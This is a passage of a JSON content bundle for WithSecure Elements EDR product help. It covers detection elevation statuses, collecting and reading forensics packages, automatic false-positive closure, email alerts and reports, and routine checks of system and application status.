INVESTIGATION_COMPLETED.", "content.p_elevation_status_bcd_000040FFF": "The aggregated Elevation status is computed and stored when the BCD is updated, for example after an acknowledge or complete action on the elevation. The portal filter then operates on this stored value.", "desc": [ "content.p_elevation_status_bcd_00001E3C7", { "steps.ul_elevation_status_bcd_0000168D6": [ "step.step_elevation_status_bcd_00001EF37", "step.step_elevation_status_bcd_000013BFE" ] }, "content.p_elevation_status_bcd_000018205", "content.title_elevation_status_bcd_0000132A6", "content.p_elevation_status_bcd_000010D2A", "content.title_elevation_status_bcd_00002CB35", { "table.table_elevation-status-mapping": [ { "thead.thead_elevation_status_bcd_0000251B7": [ "cell.entry_elevation_status_bcd_00002A47A", "cell.entry_elevation_status_bcd_00002FE53" ] }, { "row.row_elevation_status_bcd_000025AE4": [ "cell.entry_elevation_status_bcd_00002A2A1", "cell.entry_elevation_status_bcd_00003E438" ] }, { "row.row_elevation_status_bcd_000032E5E": [ "cell.entry_elevation_status_bcd_00003248B", "cell.entry_elevation_status_bcd_0000313AB" ] } ] }, "content.title_elevation_status_bcd_00003BB79", "content.p_elevation_status_bcd_00003AFCF", { "steps.ul_elevation_status_bcd_00004003B": [ "step.step_elevation_status_bcd_00004EFB6", "step.step_elevation_status_bcd_000040FE9" ] }, "content.p_elevation_status_bcd_000040FFF" ] }, "task_forensics-latest-en.json": { "title": "title_collecting_forensics_00000B7B7", "title_collecting_forensics_00000B7B7": "Collect forensics packages", "shortdesc": "shortdesc_collecting_forensics_000007CE3", "shortdesc_collecting_forensics_000007CE3": "With forensics packages, you can collect more information from the affected host to investigate the incident more thoroughly. ", "content.p_collecting_forensics_00001D03F": "The Collect forensics package action is only available for WithSecure Elements EDR and EPP for Computers and WithSecure Elements EDR and EPP for Servers subscriptions, and standalone WithSecure Elements EDR for Computers subscriptions for Windows hosts.", "content.p_collecting_forensics_000017385": "The forensics package includes information about device (memory and disk usage), firewall configuration, group policy settings, network settings and activities, windows properties (process listing, scheduled tasks, etc), windows event logs, and registry settings.", "content.p_collecting_forensics_000022EE6": "The Broad Context Detections view contains all broad context detections that have been found.", "step.step_collecting_forensics_000012BF4": "Select Events > Broad Context Detections .", "step.step_collecting_forensics_00002E70B": "Select the broad context detection that you want to investigate from the list.", "content.p_collecting_forensics_00002AE2F": "The service starts collecting forensics package from the affected hosts. This may take a while.", "content.note_collecting_forensics_0000229EE": "Note: If the host is offline or closed during the collection request, the collection starts when the host becomes active.", "step.step_collecting_forensics_00002F934": "Select Collect forensics package from the Quick responses list.", "content.note_collecting_forensics_0000381EC": "Note: After the forensics package has been collected, it is available under Response for 14 days.", "step.step_collecting_forensics_00002180F": "Select Download forensics package after the collection is finished to retrieve the archived file.", "desc": [ "content.p_collecting_forensics_00001D03F", "content.p_collecting_forensics_000017385", { "steps.steps_collecting_forensics_00001AB69": [ "step.step_collecting_forensics_000012BF4", "content.p_collecting_forensics_000022EE6", "step.step_collecting_forensics_00002E70B", "step.step_collecting_forensics_00002F934", "content.p_collecting_forensics_00002AE2F", "content.note_collecting_forensics_0000229EE", "step.step_collecting_forensics_00002180F", "content.note_collecting_forensics_0000381EC" ] } ], "related": [ "responseactions-latest-en" ] }, "forensics_zip-latest-en.json": { "title": "title_forensics_zip_000001_B2BD951E", "title_forensics_zip_000001_B2BD951E": "Forensics package contents", "shortdesc": "shortdesc_forensics_zip_000002_5592617B", "shortdesc_forensics_zip_000002_5592617B": "The forensics package is a zip archive that contains the following information about device. ", "content.note_forensics_zip_000011_07A69E80": "Note: The package is available for 14 days and contains the latest archive that has been collected from the device.", "content.p_forensics_zip_000012_FD70501D": "Product and system information", "content.dt_forensics_zip_000015_A889ED74": "basic/product_info.txt ", "content.dd_forensics_zip_000016_827BCEE7": "Product version, license, update status, profile settings", "content.dt_forensics_zip_000018_8468136E": "basic/settings.txt ", "content.dd_forensics_zip_000019_E364EA05": "Product settings", "content.dt_forensics_zip_00001B_F15E600A": "basic/systeminfo.log ", "content.dd_forensics_zip_00001C_2DA281B2": "Operating system, hardware profile (memory and disk usage)", "content.p_forensics_zip_00001D_047332BC": "Information about firewall rules", "content.dt_forensics_zip_000020_86167AA7": "firewall/all_profiles.log ", "content.dd_forensics_zip_000021_25EF4FCB": "Firewall profiles", "content.dt_forensics_zip_000023_EE0D139E": "firewall/all_rules.log ", "content.dd_forensics_zip_000024_F73EAB17": "Firewall rules", "content.dt_forensics_zip_000026_2A2CA77F": "firewall/wfp_filters.log ", "content.dd_forensics_zip_000027_60EBF66A": "Firewall filters", "content.p_forensics_zip_000028_9482DEF1": "Windows Group Policy settings", "content.dt_forensics_zip_00002B_C9711CBA": "gpo/gpo_computer.log ", "content.dd_forensics_zip_00002C_06A61A33": "Computer-level Group Policy settings", "content.dt_forensics_zip_00002E_6628BF61": "gpo/gpo_user.log ", "content.dd_forensics_zip_00002F_FABDE822": "User-level Group Policy settings", "content.p_forensics_zip_000030_710DEB62": "Network status", "content.dt_forensics_zip_000033_4E045244": "network/ipconfig.log ", "content.dd_forensics_zip_000034_D0483182": "Network interface configuration values", "content.dt_forensics_zip_000036_81D6C22A": "network/netstart.log ", "content.dd_forensics_zip_000037_0875362B": "Started windows services", "content.dt_forensics_zip_000039_11328E20": "network/netstat.log ", "content.dd_forensics_zip_00003A_7BC2B3A3": "Open network connections", "content.dt_forensics_zip_00003C_19F61EA6": "network/netuse.log ", "content.dd_forensics_zip_00003D_A9A32B87": "All network connections", "content.dt_forensics_zip_00003F_AAA4A199": "network/nic.log ", "content.dd_forensics_zip_000040_EC0E5BBD": "Network card information from Windows Registry", "content.dt_forensics_zip_000042_EBC173C3": "network/nslookup.log ", "content.dd_forensics_zip_000043_8152FFE8": "Connectivity check (nslookup query) to WithSecure", "content.dt_forensics_zip_000046_6BED42C1": "network/ping_download_sp.log ", "content.dd_forensics_zip_000047_DFFA836B": "Connectivity check (ping command) to WithSecure", "content.dt_forensics_zip_00004A_F7B070C2": "network/ping.log ", "content.dd_forensics_zip_00004B_15FADBF6": "Connectivity check (ping command) to WithSecure", "content.dt_forensics_zip_00004E_41A21828": "network/route.log ", "content.dd_forensics_zip_00004F_C3EF9EC2": "IP routing tables", "content.p_forensics_zip_000050_05BE0B5D": "Windows properties and logs", "content.dt_forensics_zip_000053_B0A47708": "win/apiset_list.log ", "content.dd_forensics_zip_000054_65C5871C": "C runtime dynamic libraries", "content.dt_forensics_zip_000056_FEBC5AFE": "win/drivers_active.log ", "content.dd_forensics_zip_000057_37474D14": "Active drivers", "content.dt_forensics_zip_000059_601651BB": "win/drivers_inactive.log ", "content.dd_forensics_zip_00005A_0734D81D": "Inactive drivers", "content.dt_forensics_zip_00005C_8591252A": "win/hosts ", "content.dd_forensics_zip_00005D_F804D024": "Hosts file", "content.dt_forensics_zip_00005F_6BC8A151": "win/msucrt_list.log ", "content.dd_forensics_zip_000060_1D47EAF1": "C runtime dynamic libraries", "content.dt_forensics_zip_000062_B568C7E4": "win/msvcrt_list.log ", "content.dd_forensics_zip_000063_A7025276": "C runtime dynamic libraries", "content.dt_forensics_zip_000065_57C09256": "win/process_list.txt ", "content.dd_forensics_zip_000066_AA7A98CB": "List of running processes", "content.dt_forensics_zip_000068_D342D1E2": "win/scheduled_tasks.log ", "content.dd_forensics_zip_000069_B9E6F7BB": "Scheduled tasks", "content.dt_forensics_zip_00006B_56A6B50B": "win/set.log ", "content.dd_forensics_zip_00006C_9AA1DDEE": "Set environment variables", "content.dt_forensics_zip_00006E_06C9E66C": "win/software.log ", "content.dd_forensics_zip_00006F_4B50DE59": "Installed software", "content.dt_forensics_zip_000071_2583E738": "win/win.ini ", "content.dd_forensics_zip_000072_230FF750": "Basic windows settings", "content.dt_forensics_zip_000074_54E32DF5": "win/windowsupdates.txt ", "content.dd_forensics_zip_000075_ECDEEC85": "Installed windows updates", "content.dt_forensics_zip_000077_C9A95ECB": "win/eventlog ", "content.dd_forensics_zip_000078_FDB78B30": "Windows event logs", "content.dt_forensics_zip_00007A_CA512E9A": "win/iexplore ", "content.dd_forensics_zip_00007B_CB16CC1C": "Internet settings from registry", "content.dt_forensics_zip_00007D_C28826D2": "win/registry ", "content.dd_forensics_zip_00007E_C47C568E": "Selected registry settings", "desc": [ "content.note_forensics_zip_000011_07A69E80", "content.p_forensics_zip_000012_FD70501D", { "dl.dl_forensics_zip_000013_91F530FF": [ { "dlentry.dlentry_forensics_zip_000014_3CB153C0": [ "content.dt_forensics_zip_000015_A889ED74", "content.dd_forensics_zip_000016_827BCEE7" ] }, { "dlentry.dlentry_forensics_zip_000017_32649CB2": [ "content.dt_forensics_zip_000018_8468136E", "content.dd_forensics_zip_000019_E364EA05" ] }, { "dlentry.dlentry_forensics_zip_00001A_8F668688": [ "content.dt_forensics_zip_00001B_F15E600A", "content.dd_forensics_zip_00001C_2DA281B2" ] } ] }, "content.p_forensics_zip_00001D_047332BC", { "dl.dl_forensics_zip_00001E_605C8E9D": [ { "dlentry.dlentry_forensics_zip_00001F_4870C382": [ "content.dt_forensics_zip_000020_86167AA7", "content.dd_forensics_zip_000021_25EF4FCB" ] }, { "dlentry.dlentry_forensics_zip_000022_512B786D": [ "content.dt_forensics_zip_000023_EE0D139E", "content.dd_forensics_zip_000024_F73EAB17" ] }, { "dlentry.dlentry_forensics_zip_000025_5C91258E": [ "content.dt_forensics_zip_000026_2A2CA77F", "content.dd_forensics_zip_000027_60EBF66A" ] } ] }, "content.p_forensics_zip_000028_9482DEF1", { "dl.dl_forensics_zip_000029_4811FFE5": [ { "dlentry.dlentry_forensics_zip_00002A_28FFA50A": [ "content.dt_forensics_zip_00002B_C9711CBA", "content.dd_forensics_zip_00002C_06A61A33" ] }, { "dlentry.dlentry_forensics_zip_00002D_D2E462F1": [ "content.dt_forensics_zip_00002E_6628BF61", "content.dd_forensics_zip_00002F_FABDE822" ] } ] }, "content.p_forensics_zip_000030_710DEB62", { "dl.dl_forensics_zip_000031_A43F4CD3": [ { "dlentry.dlentry_forensics_zip_000032_E75201CB": [ "content.dt_forensics_zip_000033_4E045244", "content.dd_forensics_zip_000034_D0483182" ] }, { "dlentry.dlentry_forensics_zip_000035_A7D1B5C3": [ "content.dt_forensics_zip_000036_81D6C22A", "content.dd_forensics_zip_000037_0875362B" ] }, { "dlentry.dlentry_forensics_zip_000038_D9A9A734": [ "content.dt_forensics_zip_000039_11328E20", "content.dd_forensics_zip_00003A_7BC2B3A3" ] }, { "dlentry.dlentry_forensics_zip_00003B_53430F3A": [ "content.dt_forensics_zip_00003C_19F61EA6", "content.dd_forensics_zip_00003D_A9A32B87" ] }, { "dlentry.dlentry_forensics_zip_00003E_3ED8B36A": [ "content.dt_forensics_zip_00003F_AAA4A199", "content.dd_forensics_zip_000040_EC0E5BBD" ] }, { "dlentry.dlentry_forensics_zip_000041_4D085A65": [ "content.dt_forensics_zip_000042_EBC173C3", "content.dd_forensics_zip_000043_8152FFE8" ] }, { "dlentry.dlentry_forensics_zip_000045_7F6C1588": [ "content.dt_forensics_zip_000046_6BED42C1", "content.dd_forensics_zip_000047_DFFA836B" ] }, { "dlentry.dlentry_forensics_zip_000049_73034522": [ "content.dt_forensics_zip_00004A_F7B070C2", "content.dd_forensics_zip_00004B_15FADBF6" ] }, { "dlentry.dlentry_forensics_zip_00004D_EA717C6F": [ "content.dt_forensics_zip_00004E_41A21828", "content.dd_forensics_zip_00004F_C3EF9EC2" ] } ] }, "content.p_forensics_zip_000050_05BE0B5D", { "dl.dl_forensics_zip_000051_5CAF50D6": [ { "dlentry.dlentry_forensics_zip_000052_F5811F50": [ "content.dt_forensics_zip_000053_B0A47708", "content.dd_forensics_zip_000054_65C5871C" ] }, { "dlentry.dlentry_forensics_zip_000055_E9975C29": [ "content.dt_forensics_zip_000056_FEBC5AFE", "content.dd_forensics_zip_000057_37474D14" ] }, { "dlentry.dlentry_forensics_zip_000058_44FDED20": [ "content.dt_forensics_zip_000059_601651BB", "content.dd_forensics_zip_00005A_0734D81D" ] }, { "dlentry.dlentry_forensics_zip_00005B_32897356": [ "content.dt_forensics_zip_00005C_8591252A", "content.dd_forensics_zip_00005D_F804D024" ] }, { "dlentry.dlentry_forensics_zip_00005E_62364E3B": [ "content.dt_forensics_zip_00005F_6BC8A151", "content.dd_forensics_zip_000060_1D47EAF1" ] }, { "dlentry.dlentry_forensics_zip_000061_38A6C344": [ "content.dt_forensics_zip_000062_B568C7E4", "content.dd_forensics_zip_000063_A7025276" ] }, { "dlentry.dlentry_forensics_zip_000064_7FCE6B2F": [ "content.dt_forensics_zip_000065_57C09256", "content.dd_forensics_zip_000066_AA7A98CB" ] }, { "dlentry.dlentry_forensics_zip_000067_B0858FC0": [ "content.dt_forensics_zip_000068_D342D1E2", "content.dd_forensics_zip_000069_B9E6F7BB" ] }, { "dlentry.dlentry_forensics_zip_00006A_3D138FD0": [ "content.dt_forensics_zip_00006B_56A6B50B", "content.dd_forensics_zip_00006C_9AA1DDEE" ] }, { "dlentry.dlentry_forensics_zip_00006D_4D471F60": [ "content.dt_forensics_zip_00006E_06C9E66C", "content.dd_forensics_zip_00006F_4B50DE59" ] }, { "dlentry.dlentry_forensics_zip_000070_76F21E3B": [ "content.dt_forensics_zip_000071_2583E738", "content.dd_forensics_zip_000072_230FF750" ] }, { "dlentry.dlentry_forensics_zip_000073_B9F9EB8E": [ "content.dt_forensics_zip_000074_54E32DF5", "content.dd_forensics_zip_000075_ECDEEC85" ] }, { "dlentry.dlentry_forensics_zip_000076_E8E23A33": [ "content.dt_forensics_zip_000077_C9A95ECB", "content.dd_forensics_zip_000078_FDB78B30" ] }, { "dlentry.dlentry_forensics_zip_000079_DCB7C9E0": [ "content.dt_forensics_zip_00007A_CA512E9A", "content.dd_forensics_zip_00007B_CB16CC1C" ] }, { "dlentry.dlentry_forensics_zip_00007C_8A2B814F": [ "content.dt_forensics_zip_00007D_C28826D2", "content.dd_forensics_zip_00007E_C47C568E" ] } ] } ] }, "auto_false_positive-latest-en.json": { "title": "title_auto_false_positive_0000017D17", "title_auto_false_positive_0000017D17": "Automatic false positive closure", "shortdesc": "shortdesc_auto_false_positive_000002E4E4", "shortdesc_auto_false_positive_000002E4E4": "How WithSecure Elements Endpoint Detection and Response automatically closes broad context detections that match already closed false alarms, and when it reopens them.", "content.p_auto_false_positive_00000FA621": "Broad context detections can be closed as Auto false positive automatically when they are identical to already closed false alarms. For WithSecure Elements Endpoint Detection and Response to close a broad context detection as Auto false positive, the following criteria must be met:", "step.step_auto_false_positive_000014B4AE": "Incident has to be New / Inconclusive,", "step.step_auto_false_positive_0000160825": "you must have closed an identical incident in the same organization as False positive, and", "step.step_auto_false_positive_00001808B8": "no identical incidents in the same organization have been marked as Incident.", "content.p_auto_false_positive_00001A9D9B": "Incident that was closed as Auto false positive is automatically reopened as New / Inconclusive if it evolves further and there are no identical false positive incidents for the new form. This prevents a real incident from being accidentally hidden because it started the same way as a known false alarm.", "desc": [ "content.p_auto_false_positive_00000FA621", { "steps.ul_auto_false_positive_000013A04A": [ "step.step_auto_false_positive_000014B4AE", "step.step_auto_false_positive_0000160825", "step.step_auto_false_positive_00001808B8" ] }, "content.p_auto_false_positive_00001A9D9B" ] }, "setting_up_email_alerts-latest-en.json": { "title": "title_setting_up_email_alerts_001C04", "title_setting_up_email_alerts_001C04": "Set up detection alerts", "shortdesc": "shortdesc_setting_up_email_alerts_00653A", "shortdesc_setting_up_email_alerts_00653A": "Sets up email detection alerts at the SOP, SEP, or company level.", "content.note_setting_up_email_alerts_00D4E8": "Note: Alerts are set up separately on the SOP, SEP, and company levels.", "content.p_setting_up_email_alerts_0098AC": "To set up detection alerts:", "step.step_setting_up_email_alerts_00C97F": "Log in to WithSecure Elements Security Center.", "content.p_setting_up_email_alerts_00E3E4": "The Organization Settings page opens.", "step.step_setting_up_email_alerts_00547C": "Under Management, select Organization Settings on the sidebar.", "step.step_setting_up_email_alerts_00EFFC": "Select the Detection and Response settings tab.", "content.p_setting_up_email_alerts_007732": "", "content.note_setting_up_email_alerts_0090EB": "Note: If you enter multiple email addresses, use a comma to separate them.", "step.step_setting_up_email_alerts_004F79": "In the Alert emails field, enter recipient email addresses for sending detection alerts.", "content.note_setting_up_email_alerts_00A8BB": "Note: The email addresses you enter here are used only for sending detection alerts.", "content.p_setting_up_email_alerts_007598": "Detection alerts are sent to the email addresses you entered.", "desc": [ "content.note_setting_up_email_alerts_00D4E8", "content.p_setting_up_email_alerts_0098AC", { "steps.steps_setting_up_email_alerts_00E7CF": [ "step.step_setting_up_email_alerts_00C97F", "step.step_setting_up_email_alerts_00547C", "content.p_setting_up_email_alerts_00E3E4", "step.step_setting_up_email_alerts_00EFFC", "step.step_setting_up_email_alerts_004F79", "content.p_setting_up_email_alerts_007732", "content.note_setting_up_email_alerts_0090EB" ] }, "content.note_setting_up_email_alerts_00A8BB", "content.p_setting_up_email_alerts_007598" ], "related": [ "usecase_confim_incident-latest-en" ] }, "alert_types-latest-en.json": { "title": "title_alert_types_000001_27C8D144", "title_alert_types_000001_27C8D144": "Events that generate detection alerts", "shortdesc": "shortdesc_alert_types_000002_20CB657D", "shortdesc_alert_types_000002_20CB657D": "EDR generates a detection alert when one of the following events occurs on a BCD or its elevation.", "content.p_alert_types_000010_E7308A71": "The following events generate a detection alert:", "step.step_alert_types_000012_E73DE337": "A new BCD is created with a risk level of medium or higher.", "step.step_alert_types_000013_555C7505": "An existing BCD is updated to a risk level of medium or higher.", "step.step_alert_types_000014_E5BA2F04": "A BCD is reopened with a risk level of medium or higher.", "step.step_alert_types_000015_29F2FA96": "An elevation is acknowledged. The detailed elevation status changes to VALIDATION_ACKNOWLEDGED or INVESTIGATION_ACKNOWLEDGED, and the aggregated Elevation status of the BCD becomes Acknowledged.", "step.step_alert_types_000019_0DE3472B": "An elevation is completed. The detailed elevation status changes to VALIDATION_COMPLETED or INVESTIGATION_COMPLETED, and the aggregated Elevation status of the BCD becomes Monitoring.", "step.step_alert_types_00001D_9F132D33": "The elevation status changes to CLOSED. This event generates an alert only when the Detection and Response Team (DRT) closes the elevation.", "step.step_alert_types_00001F_1761F268": "There are not enough tokens to create an elevation.", "step.step_alert_types_000020_D687A1B8": "The DRT adds a new comment to a BCD that has an elevation.", "step.step_alert_types_000021_D5AF7711": "The system adds a new comment to a BCD that has an elevation.", "step.step_alert_types_000022_4D019A64": "The DRT adds a new comment to an elevation.", "step.step_alert_types_000023_D7B8407D": "The system adds a new comment to an elevation.", "content.note_alert_types_000024_9F1B2807": "Note: EDR tracks two levels of elevation status: a detailed elevation status on the elevation, and an aggregated Elevation status on the BCD. For details about how the two statuses relate to each other and to portal filters, see Elevation status of a BCD.", "desc": [ "content.p_alert_types_000010_E7308A71", { "steps.ul_alert_types_000011_B9E132CD": [ "step.step_alert_types_000012_E73DE337", "step.step_alert_types_000013_555C7505", "step.step_alert_types_000014_E5BA2F04", "step.step_alert_types_000015_29F2FA96", "step.step_alert_types_000019_0DE3472B", "step.step_alert_types_00001D_9F132D33", "step.step_alert_types_00001F_1761F268", "step.step_alert_types_000020_D687A1B8", "step.step_alert_types_000021_D5AF7711", "step.step_alert_types_000022_4D019A64", "step.step_alert_types_000023_D7B8407D" ] }, "content.note_alert_types_000024_9F1B2807" ], "related": [ "elevation_status_bcd-latest-en" ] }, "task_dh5_t1g_g3c-latest-en.json": { "title": "title_creating_email_reports_0009EEA", "title_creating_email_reports_0009EEA": "Create customized email reports on security events", "shortdesc": "shortdesc_creating_email_reports_0000070", "shortdesc_creating_email_reports_0000070": "Using the Email notification and reports feature under Reports, you can create and automatically send a customized email report.", "content.p_creating_email_reports_0003767": "You need a custom view on the Security Events page to use as a template when you are creating an email report.", "content.p_creating_email_reports_000FFDA": "After creating the custom view, you can now create an email report on security events.", "step.step_creating_email_reports_000AD28": "Select Reports on the sidebar.", "step.step_creating_email_reports_000C9B4": "On the Reports page, select the Email notification and reports tab.", "content.p_creating_email_reports_00019C4": "The Add new email report pane opens.", "step.step_creating_email_reports_00041F3": "Select Add email report.", "step.step_creating_email_reports_000AB95": "Enter a name for the report.", "step.step_creating_email_reports_00010CD": "From the Data source drop-down menu, select Security Events.", "step.step_creating_email_reports_000982E": "From the Template drop-down menu, select the template that you already created on the Security Events page.", "step.step_creating_email_reports_00044F1": "Select your preferred language for the report.", "content.note_creating_email_reports_00067A4": "Note: The initial report that is generated shows data from last 24 hours. Subsequent reports show data from last ten minutes.", "step.step_creating_email_reports_000C307": "Under Schedule, the frequency for reports on security events is continuous, which means that a new report is sent every ten minutes.", "step.step_creating_email_reports_00090E5": "Keep Send only when report has content turned on to receive reports only when there are events, or turn it off to receive reports even when there are no events.", "content.note_creating_email_reports_000B1C1": "Note: If you have multiple email addresses, use comma to separate them.", "step.step_creating_email_reports_000E226": "In the Recipients box, enter the email addresses of the recipients to whom you want to deliver the reports.", "step.step_creating_email_reports_0004B9C": "Select Save.", "desc": [ "content.p_creating_email_reports_0003767", "content.p_creating_email_reports_000FFDA", { "steps.steps_creating_email_reports_0003406": [ "step.step_creating_email_reports_000AD28", "step.step_creating_email_reports_000C9B4", "step.step_creating_email_reports_00041F3", "content.p_creating_email_reports_00019C4", "step.step_creating_email_reports_000AB95", "step.step_creating_email_reports_00010CD", "step.step_creating_email_reports_000982E", "step.step_creating_email_reports_00044F1", "step.step_creating_email_reports_000C307", "content.note_creating_email_reports_00067A4", "step.step_creating_email_reports_00090E5", "step.step_creating_email_reports_000E226", "content.note_creating_email_reports_000B1C1", "step.step_creating_email_reports_0004B9C" ] } ] }, "best_practices-2-latest-en.json": { "title": "title_best_practices_000001_BD836497", "title_best_practices_000001_BD836497": "Best practices", "shortdesc": "shortdesc_best_practices_000002_FC1F2FC4", "shortdesc_best_practices_000002_FC1F2FC4": "Best practices help you use WithSecure Elements Endpoint Detection and Response features effectively. ", "content.p_best_practices_000011_13BF3E88": "This section describes recommended practices for using WithSecure Elements Endpoint Detection and Response effectively, including how to check system and application status and how to handle common scenarios such as confirming an incident and responding to an attack.", "desc": [ "content.p_best_practices_000011_13BF3E88" ] }, "checking_system_status-latest-en.json": { "title": "title_checking_system_status_0003D2B", "title_checking_system_status_0003D2B": "Check the overall state of monitored organizations", "shortdesc": "shortdesc_checking_system_status_000DE33", "shortdesc_checking_system_status_000DE33": "Instructions what to do when you want to make sure that everything is alright in customer environments. ", "content.p_checking_system_status_000BB82": "To make sure that the system status is okay in all organizations that you monitor:", "step.step_checking_system_status_000DC20": "On the Home page, open the Detection and Response tab.", "content.p_checking_system_status_00049E7": "The Devices at risk pane includes up to 5 hosts that have the highest risk score in the selected organization scope. In the partner level, the Devices at risk pane combines details from all companies under the selected partner organization. In the company level, only hosts from selected company are included. The risk is based on events that sensors have detected during the last 30 days. The pane also shows the total number of hosts that have open detections, which have been created during last 30 days. You can use the Devices at risk pane to access detections in affected hosts. Select the host name to view all risk levels or select the risk level in the Open Detections column to view only the selected risk level events.", "step.step_checking_system_status_000EE04": "Check the Devices at risk pane.", "content.p_checking_system_status_000A18B": "The Overview pane keeps you informed on what has happened in the organizations that you manage during either the last 24 hours or the last 30 days. Based on the currently selected scope, the Overview pane shows overview of all organizations or only the selected organization.", "content.dt_checking_system_status_000E1EF": "Devices ", "content.dd_checking_system_status_000008D": "Shows the number of monitored devices in the monitored companies.
", "content.dd_checking_system_status_0008444": "", "content.note_checking_system_status_00069B0": "Tip: Click the number to view the list of devices.
", "content.dt_checking_system_status_000472C": "Total events ", "content.dd_checking_system_status_00029F2": "Shows the number of monitored events that have been detected.", "content.dt_checking_system_status_0002C15": "Detections ", "content.dd_checking_system_status_000AFE2": "Shows the number of suspected incidents.
", "content.dd_checking_system_status_000CAA8": "", "content.note_checking_system_status_00088C0": "Tip: Click the number to view the list of detections.
", "content.dt_checking_system_status_000AECA": "Software ", "content.dd_checking_system_status_0002723": "Shows the number of currently active applications in monitored hosts.
", "content.dd_checking_system_status_0000556": "", "content.note_checking_system_status_0008490": "Tip: Click the number to view the list of software.
", "content.dt_checking_system_status_0007220": "Potentially unwanted software ", "content.dd_checking_system_status_0004A05": "Shows the number of currently active applications that are not directly malicious but can affect privacy and compromise the security of the host.", "content.dt_checking_system_status_0009D9F": "Harmful software ", "content.dd_checking_system_status_0002C43": "Shows the number of currently active malware and malicious applications in monitored hosts.", "content.p_checking_system_status_000AB78": "", "step.step_checking_system_status_000EC55": "Check the Overview pane.", "step.step_checking_system_status_00096D7": "Check the detection statistics panes that include the breakdown of open detections by their risk level, detection status, and detection type during either the last 24 hours or the last 30 days.", "content.note_checking_system_status_00045D4": "Tip: Use filters to narrow the results.", "content.p_checking_system_status_000D76D": "Make sure that the list does not have any unhandled high risk items.", "substep.substep_checking_system_status_00016C9": "Select arrows in the Risk column to sort detections by their risk level.", "content.p_checking_system_status_000F708": "Check the latest detections to make sure that the list does not have a lot of new, unhandled detections.", "substep.substep_checking_system_status_0008962": "Select arrows in the Detected column to sort detections by their date.", "step.step_checking_system_status_0009C9D": "In Events > Broad Context Detections, check that no detections need a response.", "content.p_checking_system_status_0008591": "Make sure that the customer organization does not have any detections that are not closed or monitored.", "step.step_checking_system_status_000E36F": "Select Devices for the customer organization that you want to check.", "step.step_checking_system_status_0005934": "Check all customer organizations in the same way.", "desc": [ "content.p_checking_system_status_000BB82", { "steps.steps_checking_system_status_000562C": [ "step.step_checking_system_status_000DC20", "step.step_checking_system_status_000EE04", "content.p_checking_system_status_00049E7", "step.step_checking_system_status_000EC55", "content.p_checking_system_status_000A18B", "content.p_checking_system_status_000AB78", { "dl.dl_checking_system_status_000E27D": [ { "dlentry.dlentry_checking_system_status_000B3ED": [ "content.dt_checking_system_status_000E1EF", "content.dd_checking_system_status_000008D", "content.dd_checking_system_status_0008444", "content.note_checking_system_status_00069B0" ] }, { "dlentry.dlentry_checking_system_status_000F716": [ "content.dt_checking_system_status_000472C", "content.dd_checking_system_status_00029F2" ] }, { "dlentry.dlentry_checking_system_status_0007822": [ "content.dt_checking_system_status_0002C15", "content.dd_checking_system_status_000AFE2", "content.dd_checking_system_status_000CAA8", "content.note_checking_system_status_00088C0" ] }, { "dlentry.dlentry_checking_system_status_000A268": [ "content.dt_checking_system_status_000AECA", "content.dd_checking_system_status_0002723", "content.dd_checking_system_status_0000556", "content.note_checking_system_status_0008490" ] }, { "dlentry.dlentry_checking_system_status_0007A13": [ "content.dt_checking_system_status_0007220", "content.dd_checking_system_status_0004A05" ] }, { "dlentry.dlentry_checking_system_status_0005E7F": [ "content.dt_checking_system_status_0009D9F", "content.dd_checking_system_status_0002C43" ] } ] }, "step.step_checking_system_status_00096D7", "step.step_checking_system_status_0009C9D", "content.note_checking_system_status_00045D4", { "substeps.substepsalpha_checkingalpha_systemalpha_statusalpha_000B386": [ "substep.substep_checking_system_status_00016C9", "content.p_checking_system_status_000D76D", "substep.substep_checking_system_status_0008962", "content.p_checking_system_status_000F708" ] }, "step.step_checking_system_status_000E36F", "content.p_checking_system_status_0008591", "step.step_checking_system_status_0005934" ] } ], "related": [ "updating_host_importance-latest-en", "checking_app_status-latest-en" ] }, "checking_app_status-latest-en.json": { "title": "title_checking_app_status_00000147CD", "title_checking_app_status_00000147CD": "Check the status of applications in monitored companies", "shortdesc": "shortdesc_checking_app_status_00000204EF", "shortdesc_checking_app_status_00000204EF": "WithSecure Elements Endpoint Detection and Response lets you identify all harmful, otherwise unwanted, or unknown applications from the monitored hosts. It uses reputational data to identify potentially harmful applications in monitored organizations. ", "content.p_checking_app_status_0000125ABF": "In the Software Reputation view, you can check that no new harmful or otherwise unwanted applications have been installed that would require immediate action.", "content.p_checking_app_status_0000148CCC": "To check the application status:", "step.step_checking_app_status_00001611B9": "Go to Environment > Software Reputation.", "content.p_checking_app_status_00001EBA08": "To filter by reputation, select Reputation from the Choose an option list, choose the value that you want from Please select, and select Add.", "content.p_checking_app_status_000023CFFD": "The product uses WithSecure's reputation analysis data to categorize applications.", "step.step_checking_app_status_00001B9C4E": "Use search to find a specific application, or filter by Reputation to find harmful or unknown items.", "step.step_checking_app_status_0000255C0E": "Check that there are no harmful or unwanted applications.", "step.step_checking_app_status_000027A97F": "If the list contains an application that you want to remove, select the application to open its details, then select the number of devices to view the devices where the application is installed.", "step.step_checking_app_status_0000290049": "Notify your customer about the possible security risk that the harmful or unwanted application causes.", "step.step_checking_app_status_00002B4F0E": "Check all customer organizations in the same way.", "desc": [ "content.p_checking_app_status_0000125ABF", "content.p_checking_app_status_0000148CCC", { "steps.steps_checking_app_status_0000152D43": [ "step.step_checking_app_status_00001611B9", "step.step_checking_app_status_00001B9C4E", "content.p_checking_app_status_00001EBA08", "content.p_checking_app_status_000023CFFD", "step.step_checking_app_status_0000255C0E", "step.step_checking_app_status_000027A97F", "step.step_checking_app_status_0000290049", "step.step_checking_app_status_00002B4F0E" ] } ] }, "usecase_confim_incident-latest-en.json": { "title": "title_usecase_confim_incident_00D892", "title_usecase_confim_incident_00D892": "Acknowledge an incident", "shortdesc": "shortdesc_usecase_confim_incident_009613", "shortdesc_usecase_confim_incident_009613": "Instructions what to do when you receive an email notification about a new broad context detection.", "content.p_usecase_confim_incident_00744C": "Follow these instructions when you receive an alert of a new detection:", "step.step_usecase_confim_incident_001B6D": "Open the portal to check the details of the broad context detection.", "step.step_usecase_confim_incident_001934": "Check the risk level score of the detection and its details view, the list of hosts that are part of the detection, and possible earlier similar detections.", "step.step_usecase_confim_incident_00165B": "Analyse the information that is available.", "step.step_usecase_confim_incident_00194F": "Based on the hosts that are involved in the detection, choose whether you want to confirm the broad context detection as an incident.", "step.step_usecase_confim_incident_002835": "If you acknowledge the incident, the portal provides recommended actions on how to respond to it.", "step.step_usecase_confim_incident_00EEB9": "Choose one or more of the recommended actions and either continue to monitor the incident or close it.", "desc": [ 